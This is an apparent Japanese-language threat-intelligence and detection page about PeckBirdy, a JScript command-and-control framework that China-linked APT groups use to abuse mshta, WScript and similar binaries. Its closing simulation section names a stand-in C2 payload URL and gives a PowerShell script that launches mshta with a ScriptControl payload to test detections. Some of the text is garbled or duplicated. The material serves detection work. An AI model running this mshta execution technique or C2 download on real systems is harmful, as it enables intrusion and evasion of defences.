PeckBirdy: 中国系脅威グループが使用するLOLbins利用のための多用途スクリプトフレームワーク
Detection stack
- AIDR
- Alert
- ETL
- Query
概要
PeckBirdyは、JScriptベースのコマンドアンドコントロールフレームワークで、中国に関連するAPTアクターが「現場で活動する」バイナリを悪用し、HOLODONUTやMKDOORを含むモジュラーバックドアを展開するために利用しています。このフレームワークは、Webブラウザー、MSHTA、WScript、NodeJS、.NETなど、複数のランタイムで実行するように設計されており、WebSocket、Flash、Comet、HTTPなどのいくつかの転送オプションをサポートしています。このフレームワークは、オンラインギャンブルのリソース、アジア政府のウェブポータル、教育部門の組織を対象としたSHADOW-VOID-044およびSHADOW-EARTH-045として追跡されているキャンペーンで観察されています。
調査
研究者は、PeckBirdyローダーをダウンロードするために不正なスクリプトが挿入されたギャンブルサイトや政府ページを報告しました。このローダーは、続くペイロード、特にChromeのエクスプロイト(CVE-2020-16040)や追加のバックドアコンポーネントを取得しました。この活動は、HOLODONUTとMKDOORという2つのモジュラーインプラントに関連付けられ、以前に観察されたグループおよびインフラストラクチャのパターンに結びつけられました。この分析は、IPアドレス、ドメイン、盗まれたコード署名証明書の使用などのハッキングの指標もカタログ化しました。
軽減策
特定された悪意のあるドメインやIPアドレスをブロックし、MSHTA、WScript、NodeJS経由での非典型的なLOLBinの使用やスクリプト実行を監視します。作成を検出する unique_id %TEMP%内のファイルと厳格なコード署名証明書の検証を強制します。既知のCobalt StrikeペイロードやDonut生成の.NETアセンブリのカバレッジにより、さらなる露出を削減できます。
対応
検出された場合は、影響を受けたシステムを隔離し、注入されたスクリプトや生成されたバックドアバイナリを収集し、関連するC2インフラストラクチャをブロックします。横移動のために法医学的トリアージを実施し、観察されたコマンドラインアーティファクトおよびネットワークトラフィックパターンに対する検出ロジックを更新します。
攻撃フロー
検出
LOLBAS WScript / CScript(プロセス作成による)
表示
疑わしい LOLBAS MSHTA 防御回避行為(プロセス作成による関連コマンドの検出)
表示
WMICを使用した疑わしいDefender除外の変更(cmdlineによる)
表示
検出するためのIOC(HashSha1):China-aligned院の脅威グループによるLOLBinsエクスプロイトのための多用途スクリプトフレームワークであるPeckBirdy
表示
検出するためのIOC(SourceIP):China-aligned脅威グループによるLOLBinsエクスプロイトのための多用途スクリプトフレームワークであるPeckBirdy
表示
検出するためのIOC(DestinationIP):China-aligned脅威グループによるLOLBinsエクスプロイトのための多用途スクリプトフレームワークであるPeckBirdy
表示
PeckBirdy実行のためのMSHTAとScriptControlの使用【Windowsプロセス作成】
表示
PeckBirdy不正スクリプト注入と資格情報収集の検出【Webサーバー】
表示
シミュレーション実行
前提条件:テレメトリとベースラインのプリフライトチェックに合格していること。
論理的基盤:このセクションは、検出ルールを発動させるために設計された敵の技術と手法(TTP)の正確な実行を詳述しています。コマンドと詳細な説明は、特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリを生成することを目的としています。
-
攻撃のシナリオとコマンド:
攻撃者は、リモートコントロールチャネルを確立したいと考えており、 PeckBirdy スクリプトフレームワークを選びます。彼らはmshta.exeを選びます。ほとんどのアプリケーションのホワイトリストを回避できる署名されたWindowsバイナリだからです。ペイロードは、ActiveXScriptControlオブジェクトを埋め込み、C2サーバーから取得したJScriptコードを実行します。ステップは以下の通りです:- 悪意のあるJScriptペイロードをC2からダウンロード(例: http://malicious.c2/payload.js
http://malicious.c2/payload.js). - 次のステップは、インライン
mshta.exeURIでURIでインスタンスを生成し、ダウンロードしたスクリプトをロードし、実行します。ScriptControlJScriptコードはリバースTCPリスナーを確立し、初期アクセスを完了します。 - テレメトリを生成する正確なコマンドラインは以下の通りです:
このコマンドは、
このコマンドは、および文字列
mshta.exeを含んでおり、Sigma条件を満たします。ScriptControl回帰テストスクリプト: - 悪意のあるJScriptペイロードをC2からダウンロード(例: http://malicious.c2/payload.js
-
以下のスクリプトは、悪意のある
の呼び出しを自動化します。管理者アカウントの下でテストワークステーションで実行できます。の呼び出しを自動化します。管理者アカウントの下でテストワークステーションで実行できます。#————————————————- # PeckBirdy Execution via mshta + ScriptControl #————————————————- $c2Url = “http://malicious.c2/payload.js” $jsCode = @” var sc = new ActiveXObject(‘ScriptControl’); sc.Language = ‘JScript’; // シンプルなビーコン – 本物のペイロードに置き換える sc.AddCode(‘var s = new ActiveXObject(“WScript.Shell”); s.Run(“cmd /c echo Compromised > C:temppwned.txt”);’); “@ # JScriptペイロードをエンコードして改行問題を回避 $encoded = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($jsCode)) $mshtaCmd = “javascript:var sc=new ActiveXObject(‘ScriptControl’);sc.Language=’JScript’;sc.AddCode([System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(‘$encoded’)));void(0)” Write-Host “[*] 悪意のあるmshtaを起動しています…” Start-Process -FilePath “mshta.exe” -ArgumentList $mshtaCmd -NoNewWindowクリーンアップコマンド: -
テストによって作成されたアーティファクト(例:一時ファイル)を削除します。
#————————————————- # PeckBirdyシミュレーション後のクリーンアップ #————————————————- Write-Host “[*] テストアーティファクトをクリーンアップしています…” Remove-Item -Path “C:temppwned.txt” -ErrorAction SilentlyContinue # テストで開始された残留mshtaプロセスを止める Get-Process -Name mshta -ErrorAction SilentlyContinue | Stop-Process -Force攻撃フロー